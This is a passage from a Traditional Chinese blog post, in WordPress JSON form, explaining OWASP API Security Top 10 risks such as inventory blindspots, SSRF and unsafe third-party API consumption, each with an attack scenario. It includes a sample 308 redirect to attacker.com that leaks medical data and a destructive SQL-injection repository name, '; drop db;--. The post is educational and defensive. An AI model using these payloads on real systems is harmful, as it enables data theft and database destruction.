\u63a8\u51fa\u63a8\u85a6\u8a08\u756b\uff0c\u4f7f\u7528\u8005\u53ea\u8981\u9080\u8acb\u670b\u53cb\u52a0\u5165\u8a3b\u518a\uff0c\u96d9\u65b9\u90fd\u80fd\u7372\u5f97\u53ef\u7528\u65bc\u642d\u8eca\u7684\u9ede\u6578\u6216\u56de\u994b\u91d1\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u770b\u6e96\u9019\u500b\u696d\u52d9\u6d41\u7a0b\uff0c\u5beb\u4e86\u4e00\u652f\u8173\u672c\u4f86\u5168\u81ea\u52d5\u5316\u57f7\u884c\u300c\u8a3b\u518a\u65b0\u5e33\u865f\u300d\u7684\u52d5\u4f5c\u3002\u8173\u672c\u6bcf\u8a3b\u518a\u4e00\u500b\u5047\u5e33\u865f\uff0c\u653b\u64ca\u8005\u7684\u4e3b\u5e33\u865f\u9322\u5305\u5c31\u80fd\u7372\u5f97\u4e00\u7b46\u63a8\u85a6\u9ede\u6578\u3002\u653b\u64ca\u8005\u4e0d\u7528\u82b1\u4efb\u4f55\u6210\u672c\uff0c\u5c31\u80fd\u6e90\u6e90\u4e0d\u7d55\u5730\u8cfa\u53d6\u514d\u8cbb\u642d\u8eca\u91d1\uff0c\u751a\u81f3\u80fd\u628a\u9019\u500b\u5145\u6eff\u9ede\u6578\u7684\u5e33\u865f\u76f4\u63a5\u6298\u73fe\u8ce3\u7d66\u5176\u4ed6\u4eba\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Improper Inventory Management <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u7576\u7684\u6e05\u55ae\u7ba1\u7406\u662f\u73fe\u4ee3\u5fae\u670d\u52d9\u67b6\u69cb\u4e2d\u5e38\u9762\u81e8\u7684\u7ba1\u7406\u96e3\u984c\u3002\u96a8\u8457\u5fae\u670d\u52d9\u7b49\u73fe\u4ee3\u6280\u8853\u8b93\u61c9\u7528\u7a0b\u5f0f\u7684\u90e8\u7f72\u8b8a\u5f97\u5bb9\u6613\u4e14\u7368\u7acb\uff0c\u7cfb\u7d71\u4e2d\u7d93\u5e38\u6703\u51fa\u73fe\u6beb\u7121\u5fc5\u8981\u5730\u66b4\u9732\u5728\u5916\u7684 API \u4e3b\u6a5f\u3002\u7576\u958b\u767c\u5718\u968a\u7f3a\u4e4f\u5b8c\u5584\u7684\u8cc7\u7522\u6e05\u55ae\u8207\u820a\u7248\u7cfb\u7d71\u7684\u6dd8\u6c70\u7b56\u7565\u6642\uff0c\u653b\u64ca\u8005\u5c31\u80fd\u8d81\u6a5f\u900f\u904e\u90a3\u4e9b\u88ab\u907a\u5fd8\u3001\u672a\u4fee\u88dc\u6216\u5b89\u5168\u6027\u8f03\u5f31\u7684\u820a\u7248 API \u7aef\u9ede\u53d6\u5f97\u672a\u7d93\u6388\u6b0a\u7684\u5b58\u53d6\u6b0a\u9650\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u500b\u6f0f\u6d1e\u4e3b\u8981\u6db5\u84cb API \u7ba1\u7406\u4e0a\u7684\u5169\u7a2e\u300c\u76f2\u9ede\u300d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6587\u4ef6\u76f2\u9ede (Documentation blindspot)\uff1a<\/strong> \u958b\u767c\u5718\u968a\u4e0d\u6e05\u695a\u67d0\u500b API \u4e3b\u6a5f\u7684\u78ba\u5207\u7528\u9014\u8207\u904b\u884c\u74b0\u5883\uff08\u662f\u6e2c\u8a66\u6a5f\u9084\u662f\u6b63\u5f0f\u6a5f\uff1f\uff09\u3001\u6c92\u6709\u9650\u5236\u8ab0\u53ef\u4ee5\u5b58\u53d6\u3001\u7f3a\u4e4f\u66f4\u65b0\u7684\u6587\u4ef6\uff0c\u6216\u662f\u820a\u7248\u672c API \u6839\u672c\u6c92\u6709\u5236\u5b9a\u4e0b\u7dda\u6dd8\u6c70\u8a08\u756b\u3002<\/li>\n\n\n\n<li><strong>\u8cc7\u6599\u6d41\u76f2\u9ede (Data flow blindspot)\uff1a<\/strong> \u7576 API \u8207\u7b2c\u4e09\u65b9\u670d\u52d9\u4ea4\u63db\u654f\u611f\u8cc7\u6599\u6642\uff0c\u7f3a\u4e4f\u696d\u52d9\u4e0a\u7684\u6b63\u7576\u6027\u3001\u6c92\u6709\u628a\u8cc7\u6599\u6d41\u5411\u8a18\u9304\u5728\u6e05\u55ae\u4e2d\uff0c\u6216\u662f\u4e0d\u6e05\u695a\u7a76\u7adf\u5206\u4eab\u4e86\u54ea\u4e9b\u654f\u611f\u8cc7\u6599\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u65e6\u653b\u64ca\u8005\u5229\u7528\u9019\u4e9b\u76f2\u9ede\uff0c\u53ef\u80fd\u6703\u5c0e\u81f4\u654f\u611f\u8cc7\u6599\u5916\u6d29\uff0c\u751a\u81f3\u8b93\u4f3a\u670d\u5668\u906d\u5230\u5b8c\u5168\u63a5\u7ba1\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u7bc4\u4f8b<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7bc4\u4f8b\u4e00\uff1a\u5fd8\u8a18\u9632\u8b77\u6e2c\u8a66\u7248 API (\u5229\u7528\u6587\u4ef6\u76f2\u9ede)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u793e\u7fa4\u7db2\u8def\u70ba\u4e86\u9632\u6b62\u99ed\u5ba2\u66b4\u529b\u7834\u89e3\u4f7f\u7528\u8005\u7684\u300c\u91cd\u8a2d\u5bc6\u78bc 6 \u4f4d\u6578\u9a57\u8b49\u78bc\u300d\uff0c\u5728\u5b98\u65b9 API (<code>api.socialnetwork...<\/code>) \u524d\u7aef\u5be6\u4f5c\u4e86\u56b4\u683c\u7684\u901f\u7387\u9650\u5236\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u9019\u500b\u9632\u8b77\u6a5f\u5236\u4e26\u4e0d\u662f\u5beb\u5728 API \u7a0b\u5f0f\u78bc\u672c\u8eab\uff0c\u800c\u662f\u67b6\u8a2d\u5728\u5b98\u65b9\u5165\u53e3\u8655\u3002\u653b\u64ca\u8005\u5728\u7db2\u8def\u4e0a\u63a2\u7d22\u6642\uff0c\u767c\u73fe\u4e86\u4e00\u500b\u88ab\u907a\u5fd8\u7684 Beta<strong> \u6e2c\u8a66\u7248 API \u4e3b\u6a5f<\/strong> (<code>beta.api.socialnetwork...<\/code>)\u3002\u9019\u500b\u6e2c\u8a66\u4e3b\u6a5f\u8207\u6b63\u5f0f\u7248\u9023\u63a5\u4e86\u76f8\u540c\u7684\u771f\u5be6\u8cc7\u6599\u5eab\uff0c\u4f46\u537b\u6c92\u6709\u67b6\u8a2d\u901f\u7387\u9650\u5236\u6a5f\u5236\u3002\u56e0\u6b64\uff0c\u653b\u64ca\u8005\u80fd\u76f4\u63a5\u5c0d\u9019\u500b Beta \u7aef\u9ede\u767c\u52d5\u66b4\u529b\u7834\u89e3\uff0c\u8f15\u6613\u731c\u51fa\u9a57\u8b49\u78bc\u4e26\u91cd\u8a2d\u4efb\u4f55\u4eba\u7684\u5bc6\u78bc\u3002\u9019\u51f8\u986f\u4e86\u820a\u7248\u6216\u6e2c\u8a66\u7248 API \u82e5\u672a\u53d7\u5230\u59a5\u5584\u7ba1\u7406\u8207\u4fdd\u8b77\uff0c\u5c07\u6210\u70ba\u7cfb\u7d71\u7684\u81f4\u547d\u5f8c\u9580\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7bc4\u4f8b\u4e8c\uff1a\u5931\u63a7\u7684\u7b2c\u4e09\u65b9\u8cc7\u6599\u64f4\u6563 (\u5229\u7528\u8cc7\u6599\u6d41\u76f2\u9ede)<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u793e\u7fa4\u7db2\u8def\u5141\u8a31\u7368\u7acb\u958b\u767c\u8005\u7684 App \u8207\u5176\u6574\u5408\u3002\u7576\u4f7f\u7528\u8005\u9ede\u64ca\u540c\u610f\u5f8c\uff0c\u793e\u7fa4\u7db2\u8def\u5c31\u6703\u628a\u4f7f\u7528\u8005\u7684\u500b\u8cc7\u5206\u4eab\u7d66\u8a72 App\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u9019\u500b API \u7684\u6f0f\u6d1e\u5728\u65bc\uff0c\u793e\u7fa4\u7db2\u8def\u8207\u7b2c\u4e09\u65b9 App \u4e4b\u9593\u7684\u300c\u8cc7\u6599\u6d41\u300d\u7f3a\u4e4f\u56b4\u683c\u7684\u9650\u5236\u8207\u76e3\u63a7\u3002\u4e00\u9593\u9867\u554f\u516c\u53f8\u4e0a\u67b6\u4e86\u4e00\u6b3e\u60e1\u610f App\uff0c\u96d6\u7136\u53ea\u5408\u6cd5\u53d6\u5f97\u4e86 27 \u842c\u540d\u4f7f\u7528\u8005\u7684\u6388\u6b0a\uff0c\u4f46\u56e0\u70ba API \u672a\u9650\u5236\u8cc7\u6599\u7bc4\u570d\uff0c\u9019\u6b3e App \u7adf\u7136\u80fd\u9023\u5e36\u8b80\u53d6\u9019 27 \u842c\u4eba\u300c\u6240\u6709\u670b\u53cb\u300d\u7684\u79c1\u4eba\u8cc7\u8a0a\u3002\u6700\u7d42\uff0c\u9019\u9593\u9867\u554f\u516c\u53f8\u5229\u7528\u9019\u500b\u8cc7\u6599\u6d41\u6f0f\u6d1e\uff0c\u4e00\u53e3\u6c23\u7aca\u53d6\u4e86 5,000 \u842c\u540d\u4f7f\u7528\u8005\u7684\u79c1\u5bc6\u8cc7\u6599\u4e26\u8f49\u8ce3\u725f\u5229\u3002\uff08\u9019\u500b\u60c5\u5883\u975e\u5e38\u985e\u4f3c\u73fe\u5be6\u4e2d\u77e5\u540d\u7684\u528d\u6a4b\u5206\u6790\u96b1\u79c1\u5916\u6d29\u4e8b\u4ef6\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Server-Side Request Forgery<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u7576 API \u5728\u672a\u9a57\u8b49\u4f7f\u7528\u8005\u63d0\u4f9b\u7684 URL \u7684\u60c5\u6cc1\u4e0b\uff0c\u5c31\u53bb\u6293\u53d6\u9060\u7aef\u8cc7\u6e90\u6642\uff0c\u5c31\u6703\u767c\u751f SSRF \u6f0f\u6d1e\u3002\u9019\u500b\u6f0f\u6d1e\u6703\u8b93\u653b\u64ca\u8005\u80fd\u5f37\u8feb\u61c9\u7528\u7a0b\u5f0f\uff08\u4f3a\u670d\u5668\uff09\u767c\u9001\u4e00\u500b\u7d93\u904e\u7279\u6b8a\u8a2d\u8a08\u7684\u8acb\u6c42\u5230\u975e\u9810\u671f\u7684\u76ee\u7684\u5730\uff0c\u5373\u4f7f\u8a72\u76ee\u7684\u5730\u53d7\u5230\u9632\u706b\u7246\u6216 VPN \u7684\u4fdd\u8b77\u4e5f\u80fd\u88ab\u7a7f\u900f\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u73fe\u4ee3\u61c9\u7528\u7a0b\u5f0f\u958b\u767c\u4e2d\uff0c\u56e0\u70ba\u7d93\u5e38\u6703\u8981\u6c42\u958b\u767c\u8005\u6839\u64da\u4f7f\u7528\u8005\u7684\u8f38\u5165\u53bb\u5b58\u53d6\u5916\u90e8\u8cc7\u6e90\uff08\u4f8b\u5982\uff1aWebhooks\u3001\u5f9e URL \u6293\u53d6\u6a94\u6848\u3001\u81ea\u8a02 SSO \u6216 URL \u9810\u89bd\uff09\uff0c\u4f7f\u5f97 SSRF \u8b8a\u5f97\u66f4\u52a0\u666e\u904d\u3002\u540c\u6642\uff0c\u7531\u65bc\u96f2\u7aef\u670d\u52d9\u5546\u3001Kubernetes \u548c Docker \u901a\u5e38\u6703\u5728\u53ef\u9810\u6e2c\u7684 HTTP \u8def\u5f91\u4e0a\u66b4\u9732\u7ba1\u7406\u548c\u63a7\u5236\u901a\u9053\uff0c\u9019\u4e9b\u5167\u90e8\u901a\u9053\u6210\u70ba\u4e86 SSRF \u653b\u64ca\u6975\u6613\u5f97\u624b\u7684\u76ee\u6a19\uff0c\u4e5f\u8b93\u6b64\u6f0f\u6d1e\u8b8a\u5f97\u66f4\u52a0\u5371\u96aa\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f8\u95dc\u8aaa\u660e\u53ef\u53c3\u8003<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-wp-embed\"><div class=\"wp-block-embed__wrapper\">\n<blockquote class=\"wp-embedded-content\" data-secret=\"9WCXVY9soS\"><a href=\"https:\/\/systw.net\/note\/archives\/235\">SSRF<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"SSRF \u2014 \u725b\u7684\u5927\u8166\" src=\"https:\/\/systw.net\/note\/archives\/235\/embed#?secret=0cmpbvG4mt#?secret=9WCXVY9soS\" data-secret=\"9WCXVY9soS\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Unsafe Consumption of APIs<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u73fe\u4ee3\u8edf\u9ad4\u67b6\u69cb\u4e2d\uff0c\u958b\u767c\u4eba\u54e1\u901a\u5e38\u6703\u5c0d\u300c\u4e00\u822c\u4f7f\u7528\u8005\u300d\u8f38\u5165\u7684\u8cc7\u6599\u4fdd\u6301\u8b66\u89ba\uff0c\u4f46\u537b\u5f80\u5f80\u904e\u5ea6\u4fe1\u4efb\u4f86\u81ea\u300c\u7b2c\u4e09\u65b9 API \u6216\u5916\u90e8\u670d\u52d9\u300d\u7684\u56de\u50b3\u8cc7\u6599\u3002\u958b\u767c\u4eba\u54e1\u53ef\u80fd\u6703\u9810\u8a2d\u9019\u4e9b\u77e5\u540d\u516c\u53f8\u7684 API \u662f\u5b89\u5168\u7684\uff0c\u56e0\u6b64\u5728\u4ecb\u63a5\u6642\u63a1\u7528\u4e86\u8f03\u5f31\u7684\u5b89\u5168\u6a19\u6e96\uff08\u4f8b\u5982\u6c92\u6709\u5c0d\u56de\u50b3\u8cc7\u6599\u505a\u9a57\u8b49\u8207\u6e05\u7406\u3001\u6c92\u6709\u8a2d\u5b9a\u9023\u7dda\u52a0\u5bc6\uff0c\u6216\u662f\u76f2\u76ee\u8ddf\u96a8\u91cd\u65b0\u5c0e\u5411\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5982\u679c\u653b\u64ca\u8005\u6210\u529f\u9396\u5b9a\u4e26\u653b\u7834\uff08\u6216\u64cd\u5f04\uff09\u4e86\u76ee\u6a19\u7cfb\u7d71\u6240\u4ecb\u63a5\u7684\u7b2c\u4e09\u65b9\u670d\u52d9\uff0c\u76ee\u6a19 API \u5c31\u6703\u5728\u6beb\u7121\u9632\u5099\u7684\u60c5\u6cc1\u4e0b\u541e\u4e0b\u9019\u4e9b\u60e1\u610f\u8cc7\u6599\uff0c\u9032\u800c\u5c0e\u81f4\u654f\u611f\u8cc7\u8a0a\u5916\u6d29\u3001\u5404\u7a2e\u6ce8\u5165\u653b\u64ca (Injection) \u751a\u81f3\u662f\u963b\u65b7\u670d\u52d9 (DoS)\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u653b\u64ca\u60c5\u5883<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e00\uff1a\u900f\u904e\u7b2c\u4e09\u65b9\u670d\u52d9\u501f\u5200\u6bba\u4eba\u7684 SQL \u6ce8\u5165<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0\u500b API \u6703\u628a\u4f7f\u7528\u8005\u8f38\u5165\u7684\u5546\u696d\u5730\u5740\uff0c\u9001\u5230\u7b2c\u4e09\u65b9\u670d\u52d9\u53bb\u9032\u884c\u300c\u8cc7\u6599\u64f4\u5145 (enrich)\u300d\uff0c\u63a5\u8457\u628a\u7b2c\u4e09\u65b9\u670d\u52d9\u56de\u50b3\u7684\u8a73\u7d30\u8cc7\u6599\u5b58\u9032\u81ea\u5df1\u7684\u672c\u5730 SQL \u8cc7\u6599\u5eab\u88e1\u3002<\/li>\n\n\n\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u5148\u8dd1\u5230\u90a3\u500b\u7b2c\u4e09\u65b9\u670d\u52d9\u4e0a\uff0c\u5efa\u7acb\u4e00\u500b\u5e36\u6709\u300cSQL \u6ce8\u5165\u60e1\u610f\u7a0b\u5f0f\u78bc (SQLi payload)\u300d\u7684\u5546\u696d\u8cc7\u6599\u3002\u63a5\u8457\uff0c\u653b\u64ca\u8005\u8b93\u76ee\u6a19 API \u53bb\u5411\u7b2c\u4e09\u65b9\u670d\u52d9\u62c9\u53d6\u9019\u7b46\u60e1\u610f\u8cc7\u6599\u3002\u56e0\u70ba\u76ee\u6a19 API \u76f2\u76ee\u4fe1\u4efb\u7b2c\u4e09\u65b9\u50b3\u4f86\u7684\u8cc7\u6599\uff0c\u6c92\u6709\u505a\u904e\u6ffe\u5c31\u76f4\u63a5\u5beb\u5165\u8cc7\u6599\u5eab\uff0c\u6700\u7d42\u5c0e\u81f4\u76ee\u6a19\u7cfb\u7d71\u7684\u8cc7\u6599\u5eab\u57f7\u884c\u4e86\u60e1\u610f\u6307\u4ee4\uff0c\u5c07\u8cc7\u6599\u5916\u6d29\u7d66\u653b\u64ca\u8005\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e8c\uff1a\u76f2\u76ee\u8ddf\u96a8\u300c\u91cd\u65b0\u5c0e\u5411\u300d\u5c0e\u81f4\u91ab\u7642\u500b\u8cc7\u5916\u6d29<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\uff1a<\/strong> \u67d0 API \u8ca0\u8cac\u5c07\u4f7f\u7528\u8005\u7684\u654f\u611f\u91ab\u7642\u8cc7\u8a0a\uff0c\u900f\u904e\u5b89\u5168\u7684\u9023\u7dda\u50b3\u9001\u5230\u4e00\u500b\u7b2c\u4e09\u65b9\u5132\u5b58\u670d\u52d9\u3002\u5982\u4e0b<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/user\/store_phr_record\n{\n  \"genome\": \"ACTAGTAG__TTGADDAAIICCTT\u2026\"\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u6f0f\u6d1e\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u627e\u5230\u4e86\u653b\u7834\u8a72\u7b2c\u4e09\u65b9 API \u7684\u65b9\u6cd5\uff0c\u4e26\u5c07\u5176\u8a2d\u5b9a\u70ba\u5c0d\u5148\u524d\u7684\u8acb\u6c42\u56de\u50b3 <code>308 \u6c38\u4e45\u91cd\u65b0\u5c0e\u5411 (Permanent Redirect)<\/code>\uff0c\u800c\u5c0e\u5411\u7684\u76ee\u7684\u5730\u662f\u653b\u64ca\u8005\u63a7\u5236\u7684\u4f3a\u670d\u5668\u3002\u56e0\u70ba\u76ee\u6a19 API \u7684\u958b\u767c\u8005\u8a2d\u5b9a\u4e86\u300c\u76f2\u76ee\u8ddf\u96a8\u91cd\u65b0\u5c0e\u5411\u300d\uff0c\u7cfb\u7d71\u6536\u5230 308 \u56de\u61c9\u5f8c\uff0c\u5982\u4e0b\u3002\u4fbf\u4e56\u4e56\u5730\u628a\u5305\u542b\u654f\u611f\u91ab\u7642\u8cc7\u8a0a\u7684\u539f\u59cb\u8acb\u6c42\uff0c\u539f\u5c01\u4e0d\u52d5\u5730\u767c\u9001\u7d66\u4e86\u653b\u64ca\u8005\u7684\u4f3a\u670d\u5668\uff0c\u9020\u6210\u56b4\u91cd\u500b\u8cc7\u5916\u6d29\u3002<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/1.1 308 Permanent Redirect\nLocation: https:\/\/attacker.com\/<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u7bc4\u4f8b\u4e09\uff1a\u60e1\u610f Git \u5132\u5b58\u5eab\u540d\u7a31\u5f15\u767c\u7684 SQL \u6ce8\u5165<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u60c5\u5883\u80cc\u666f\u8207\u89e3\u91cb\uff1a<\/strong> \u653b\u64ca\u8005\u5efa\u7acb\u4e86\u4e00\u500b\u540d\u5b57\u975e\u5e38\u5947\u602a\u7684 Git \u5132\u5b58\u5eab\uff0c\u540d\u7a31\u53eb\u505a <code>'; drop db;--<\/code>\uff08\u9019\u662f\u4e00\u6bb5\u6703\u522a\u9664\u8cc7\u6599\u5eab\u7684 SQL \u8a9e\u6cd5\uff09\u3002\u7576\u67d0\u500b\u61c9\u7528\u7a0b\u5f0f\u900f\u904e API \u8207\u9019\u500b\u60e1\u610f\u5132\u5b58\u5eab\u6574\u5408\u6642\uff0c\u61c9\u7528\u7a0b\u5f0f\u5929\u771f\u5730\u4ee5\u70ba\u300c\u5132\u5b58\u5eab\u7684\u540d\u7a31\u7d55\u5c0d\u662f\u5b89\u5168\u7684\u8f38\u5165\u300d\uff0c\u65bc\u662f\u76f4\u63a5\u628a\u5b83\u7d44\u88dd\u9032 SQL \u67e5\u8a62\u8a9e\u53e5\u4e2d\u3002\u7d50\u679c\u9019\u4e32\u770b\u4f3c\u540d\u7a31\u7684\u60e1\u610f\u4ee3\u78bc\u5c31\u88ab\u7576\u4f5c SQL \u6307\u4ee4\u57f7\u884c\u4e86\u3002<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>OWASP Top 10 API Security\u662f\u7531\u5168\u7403\u77e5\u540d\u7684\u975e\u71df\u5229\u8cc7\u5b89\u7d44\u7e54 OWASP \u6240\u7d71\u6574\u767c\u5e03\u7684\u6307\u5357\uff0c\u5217\u51fa\u4e86\u76ee\u524d\u73fe\u4ee3 API \u67b6\u69cb\u4e2d\u6700\u5e38\u898b\u3001\u6700\u5177\u7834\u58de\u529b\u7684\u5341\u5927\u5b89\u5168\u98a8\u96aa\u3002\u800c\u548c\u67b6\u69cb\u3001\u71df\u904b\u8207\u696d\u52d9\u908f\u8f2f (API 4, 6, 7, 8, 9, 10)\u76f8\u95dc\u7684\u6709\uff1a\u5b89\u5168\u8a2d\u5b9a\u932f\u8aa4\uff0c\u8cc7\u6e90\u6d88\u8017\u4e0d\u53d7\u9650\uff0cSSRF\uff0c\u4e0d\u5b89\u5168\u5730\u6d88\u8017 API\uff0c\u5c0d\u654f\u611f\u696d\u52d9\u6d41\u7a0b\u7684\u7121\u9650\u5236\u5b58\u53d6\uff0c\u4e0d\u7576\u7684\u6e05\u55ae\u7ba1\u7406\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[39],"tags":[],"class_list":["post-3188","post","type-post","status-publish","format-standard","hentry","category-concept"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/3188","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=3188"}],"version-history":[{"count":2,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/3188\/revisions"}],"predecessor-version":[{"id":3191,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/3188\/revisions\/3191"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=3188"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=3188"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=3188"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}